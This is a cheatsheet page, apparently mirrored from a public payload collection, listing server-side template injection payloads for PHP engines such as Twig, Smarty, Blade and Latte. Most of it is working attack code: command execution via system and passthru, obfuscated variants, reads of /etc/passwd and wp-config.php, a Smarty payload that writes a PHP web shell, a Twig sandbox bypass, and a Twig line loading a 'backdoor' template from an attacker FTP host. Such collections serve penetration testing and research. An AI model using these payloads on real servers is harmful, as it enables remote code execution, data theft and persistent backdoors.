daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

php.md (10948B)


      1 ---
      2 title: "Server Side Template Injection - PHP"
      3 topic: "Server Side Template Injection"
      4 topicSlug: "server-side-template-injection"
      5 sourcePath: "Server Side Template Injection/PHP.md"
      6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/Server%20Side%20Template%20Injection/PHP.md"
      7 sha: "3ac27901c711"
      8 isReadme: false
      9 ---
     10 
     11 # Server Side Template Injection - PHP
     12 
     13 > Server-Side Template Injection (SSTI)  is a vulnerability that occurs when an attacker can inject malicious input into a server-side template, causing the template engine to execute arbitrary commands on the server. In PHP, SSTI can arise when user input is embedded within templates rendered by templating engines like Smarty, Twig, or even within plain PHP templates, without proper sanitization or validation.
     14 
     15 ## Summary
     16 
     17 - [Templating Libraries](#templating-libraries)
     18 - [Universal Payloads](#universal-payloads)
     19 - [Blade](#blade)
     20 - [Smarty](#smarty)
     21     - [Smarty - Code Execution with Obfuscation](#smarty---code-execution-with-obfuscation)
     22 - [Twig](#twig)
     23     - [Twig - Basic Injection](#twig---basic-injection)
     24     - [Twig - Template Format](#twig---template-format)
     25     - [Twig - Arbitrary File Reading](#twig---arbitrary-file-reading)
     26     - [Twig - Code Execution](#twig---code-execution)
     27     - [Twig - Code Execution with Obfuscation](#twig---code-execution-with-obfuscation)
     28 - [Latte](#latte)
     29     - [Latte - Basic Injection](#latte---basic-injection)
     30     - [Latte - Code Execution](#latte---code-execution)
     31 - [patTemplate](#pattemplate)
     32 - [PHPlib](#phplib-and-html_template_phplib)
     33 - [Plates](#plates)
     34 - [References](#references)
     35 
     36 ## Templating Libraries
     37 
     38 | Template Name   | Payload Format |
     39 |-----------------|----------------|
     40 | Blade (Laravel) | `{{ }}`        |
     41 | Latte           | `{ }`          |
     42 | Mustache        | `{{ }}`        |
     43 | Plates          | `<?= ?>`       |
     44 | Smarty          | `{ }`          |
     45 | Twig            | `{{ }}`        |
     46 
     47 ## Universal Payloads
     48 
     49 Generic code injection payloads work for many PHP-based template engines, such as Blade, Latte and Smarty.
     50 
     51 To use these payloads, wrap them in the appropriate tag.
     52 
     53 ```php
     54 // Rendered RCE
     55 shell_exec('id')
     56 system('id')
     57 
     58 // Error-Based RCE
     59 ini_set("error_reporting", "1") // Enable verbose fatal errors for Error-Based
     60 call_user_func(join("", ["xx", shell_exec('id')]))
     61 
     62 // Boolean-Based RCE
     63 1 / (pclose(popen("id", "wb")) == 0)
     64 
     65 // Time-Based RCE
     66 shell_exec('id && sleep 5')
     67 system('id && sleep 5')
     68 ```
     69 
     70 ## Blade
     71 
     72 > Universal payloads also work for Blade.
     73 
     74 [Official website](https://laravel.com/docs/master/blade)
     75 > Blade is the simple, yet powerful templating engine that is included with Laravel.
     76 
     77 The string `id` is generated with `{{implode(null,array_map(chr(99).chr(104).chr(114),[105,100]))}}`.
     78 
     79 ```php
     80 {{passthru(implode(null,array_map(chr(99).chr(104).chr(114),[105,100])))}}
     81 ```
     82 
     83 Reference and explanation of payload can be found [yeswehack/server-side-template-injection-exploitation](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation).
     84 
     85 ---
     86 
     87 ## Smarty
     88 
     89 > Universal payloads also work for Smarty before v5.
     90 
     91 [Official website](https://www.smarty.net/docs/en/)
     92 > Smarty is a template engine for PHP.
     93 
     94 ```php
     95 {$smarty.version}
     96 {php}echo `id`;{/php} //deprecated in smarty v3
     97 {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
     98 {system('ls')} // compatible v3, deprecated in v5
     99 {system('cat index.php')} // compatible v3, deprecated in v5
    100 ```
    101 
    102 ### Smarty - Code Execution with Obfuscation
    103 
    104 By employing the variable modifier `cat`, individual characters are concatenated to form the string "id" as follows: `{chr(105)|cat:chr(100)}`.
    105 
    106 Execute system comman (command: `id`):
    107 
    108 ```php
    109 {{passthru(implode(Null,array_map(chr(99)|cat:chr(104)|cat:chr(114),[105,100])))}}
    110 ```
    111 
    112 Reference and explanation of payload can be found [yeswehack/server-side-template-injection-exploitation](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation).
    113 
    114 ---
    115 
    116 ## Twig
    117 
    118 [Official website](https://twig.symfony.com/)
    119 > Twig is a modern template engine for PHP.
    120 
    121 ### Twig - Basic Injection
    122 
    123 ```php
    124 {{7*7}}
    125 {{7*'7'}} would result in 49
    126 {{dump(app)}}
    127 {{dump(_context)}}
    128 {{app.request.server.all|join(',')}}
    129 ```
    130 
    131 ### Twig - Template Format
    132 
    133 ```php
    134 $output = $twig > render (
    135   'Dear' . $_GET['custom_greeting'],
    136   array("first_name" => $user.first_name)
    137 );
    138 
    139 $output = $twig > render (
    140   "Dear {first_name}",
    141   array("first_name" => $user.first_name)
    142 );
    143 ```
    144 
    145 ### Twig - Arbitrary File Reading
    146 
    147 ```php
    148 "{{'/etc/passwd'|file_excerpt(1,30)}}"@
    149 {{include("wp-config.php")}}
    150 ```
    151 
    152 ### Twig - Code Execution
    153 
    154 ```php
    155 {{self}}
    156 {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
    157 {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
    158 {{['id']|filter('system')}}
    159 {{[0]|reduce('system','id')}}
    160 {{['id']|map('system')|join}}
    161 {{['id',1]|sort('system')|join}}
    162 {{['cat\x20/etc/passwd']|filter('system')}}
    163 {{['cat$IFS/etc/passwd']|filter('system')}}
    164 {{['id']|filter('passthru')}}
    165 {{['id']|map('passthru')}}
    166 {{['nslookup oastify.com']|filter('system')}}
    167 
    168 {% for a in ["error_reporting", "1"]|sort("ini_set") %}{% endfor %} // Enable verbose error output for Error-Based
    169 {{_self.env.registerUndefinedFilterCallback("shell_exec")}}{%include ["Y:/A:/", _self.env.getFilter("id")]|join%} // Error-Based RCE <= 1.19
    170 {{[0]|map(["xx", {"id": "shell_exec"}|map("call_user_func")|join]|join)}} // Error-Based RCE >=1.41, >=2.10, >=3.0
    171 
    172 {{_self.env.registerUndefinedFilterCallback("shell_exec")}}{{1/(_self.env.getFilter("id && echo UniqueString")|trim('\n') ends with "UniqueString")}} // Boolean-Based RCE <= 1.19
    173 {{1/({"id && echo UniqueString":"shell_exec"}|map("call_user_func")|join|trim('\n') ends with "UniqueString")}} // Boolean-Based RCE >=1.41, >=2.10, >=3.0
    174 
    175 {% set a = ["error_reporting", "1"]|sort("ini_set") %}{% set b = ["ob_start", "call_user_func"]|sort("call_user_func") %}{{ ["id", 0]|sort("system") }}{% set a = ["ob_end_flush", []]|sort("call_user_func_array")%} // Error-Based RCE with sandbox bypass using CVE-2022-23614
    176 {{ 1 / (["id >>/dev/null && echo -n 1", "0"]|sort("system")|first == "0") }} // Boolean-Based RCE with sandbox bypass using CVE-2022-23614
    177 ```
    178 
    179 With certain settings, Twig interrupts rendering, if any errors or warnings are raised. This payload works fine in these cases:
    180 
    181 ```php
    182 {{ {'id':'shell_exec'}|map('call_user_func')|join }}
    183 ```
    184 
    185 Example injecting values to avoid using quotes for the filename (specify via OFFSET and LENGTH where the payload FILENAME is)
    186 
    187 ```python
    188 FILENAME{% set var = dump(_context)[OFFSET:LENGTH] %} {{ include(var) }}
    189 ```
    190 
    191 Example with an email passing FILTER_VALIDATE_EMAIL PHP.
    192 
    193 ```powershell
    194 POST /subscribe?0=cat+/etc/passwd HTTP/1.1
    195 email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
    196 ```
    197 
    198 ### Twig - Code Execution with Obfuscation
    199 
    200 Twig's block feature and built-in `_charset` variable can be nesting can be used to produced the payload (command: `id`)
    201 
    202 ```twig
    203 {%block U%}id000passthru{%endblock%}{%set x=block(_charset|first)|split(000)%}{{[x|first]|map(x|last)|join}}
    204 ```
    205 
    206 The following payload, which harnesses the built-in `_context` variable, also achieves RCE – provided that the template engine performs a double-rendering process:
    207 
    208 ```twig
    209 {{id~passthru~_context|join|slice(2,2)|split(000)|map(_context|join|slice(5,8))}}
    210 ```
    211 
    212 Reference and explanation of payload can be found [yeswehack/server-side-template-injection-exploitation](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation).
    213 
    214 ---
    215 
    216 ## Latte
    217 
    218 > Universal payloads also work for Latte.
    219 
    220 ### Latte - Basic Injection
    221 
    222 ```php
    223 {var $X="POC"}{$X}
    224 ```
    225 
    226 ### Latte - Code Execution
    227 
    228 ```php
    229 {php system('nslookup oastify.com')}
    230 ```
    231 
    232 ---
    233 
    234 ## patTemplate
    235 
    236 > [patTemplate](https://github.com/wernerwa/pat-template) non-compiling PHP templating engine, that uses XML tags to divide a document into different parts
    237 
    238 ```xml
    239 <patTemplate:tmpl name="page">
    240   This is the main page.
    241   <patTemplate:tmpl name="foo">
    242     It contains another template.
    243   </patTemplate:tmpl>
    244   <patTemplate:tmpl name="hello">
    245     Hello {NAME}.<br/>
    246   </patTemplate:tmpl>
    247 </patTemplate:tmpl>
    248 ```
    249 
    250 ---
    251 
    252 ## PHPlib and HTML_Template_PHPLIB
    253 
    254 [HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) is the same as PHPlib but ported to Pear.
    255 
    256 `authors.tpl`
    257 
    258 ```html
    259 <html>
    260  <head><title>{PAGE_TITLE}</title></head>
    261  <body>
    262   <table>
    263    <caption>Authors</caption>
    264    <thead>
    265     <tr><th>Name</th><th>Email</th></tr>
    266    </thead>
    267    <tfoot>
    268     <tr><td colspan="2">{NUM_AUTHORS}</td></tr>
    269    </tfoot>
    270    <tbody>
    271 <!-- BEGIN authorline -->
    272     <tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
    273 <!-- END authorline -->
    274    </tbody>
    275   </table>
    276  </body>
    277 </html>
    278 ```
    279 
    280 `authors.php`
    281 
    282 ```php
    283 <?php
    284 //we want to display this author list
    285 $authors = array(
    286     'Christian Weiske'  => 'cweiske@php.net',
    287     'Bjoern Schotte'     => 'schotte@mayflower.de'
    288 );
    289 
    290 require_once 'HTML/Template/PHPLIB.php';
    291 //create template object
    292 $t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
    293 //load file
    294 $t->setFile('authors', 'authors.tpl');
    295 //set block
    296 $t->setBlock('authors', 'authorline', 'authorline_ref');
    297 
    298 //set some variables
    299 $t->setVar('NUM_AUTHORS', count($authors));
    300 $t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
    301 
    302 //display the authors
    303 foreach ($authors as $name => $email) {
    304     $t->setVar('AUTHOR_NAME', $name);
    305     $t->setVar('AUTHOR_EMAIL', $email);
    306     $t->parse('authorline_ref', 'authorline', true);
    307 }
    308 
    309 //finish and echo
    310 echo $t->finish($t->parse('OUT', 'authors'));
    311 ?>
    312 ```
    313 
    314 ---
    315 
    316 ## Plates
    317 
    318 Plates is inspired by Twig but a native PHP template engine instead of a compiled template engine.
    319 
    320 controller:
    321 
    322 ```php
    323 // Create new Plates instance
    324 $templates = new League\Plates\Engine('/path/to/templates');
    325 
    326 // Render a template
    327 echo $templates->render('profile', ['name' => 'Jonathan']);
    328 ```
    329 
    330 page template:
    331 
    332 ```php
    333 <?php $this->layout('template', ['title' => 'User Profile']) ?>
    334 
    335 <h1>User Profile</h1>
    336 <p>Hello, <?=$this->e($name)?></p>
    337 ```
    338 
    339 layout template:
    340 
    341 ```php
    342 <html>
    343   <head>
    344     <title><?=$this->e($title)?></title>
    345   </head>
    346   <body>
    347     <?=$this->section('content')?>
    348   </body>
    349 </html>
    350 ```
    351 
    352 ## References
    353 
    354 - [Limitations are just an illusion – advanced server-side template exploitation with RCE everywhere - Brumens - March 24, 2025](https://web.archive.org/web/20240906203847/https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation)
    355 - [Server Side Template Injection (SSTI) via Twig escape handler - Grav - March 21, 2024](https://github.com/getgrav/grav/security/advisories/GHSA-2m7x-c7px-hp58)
    356 - [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 3, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md)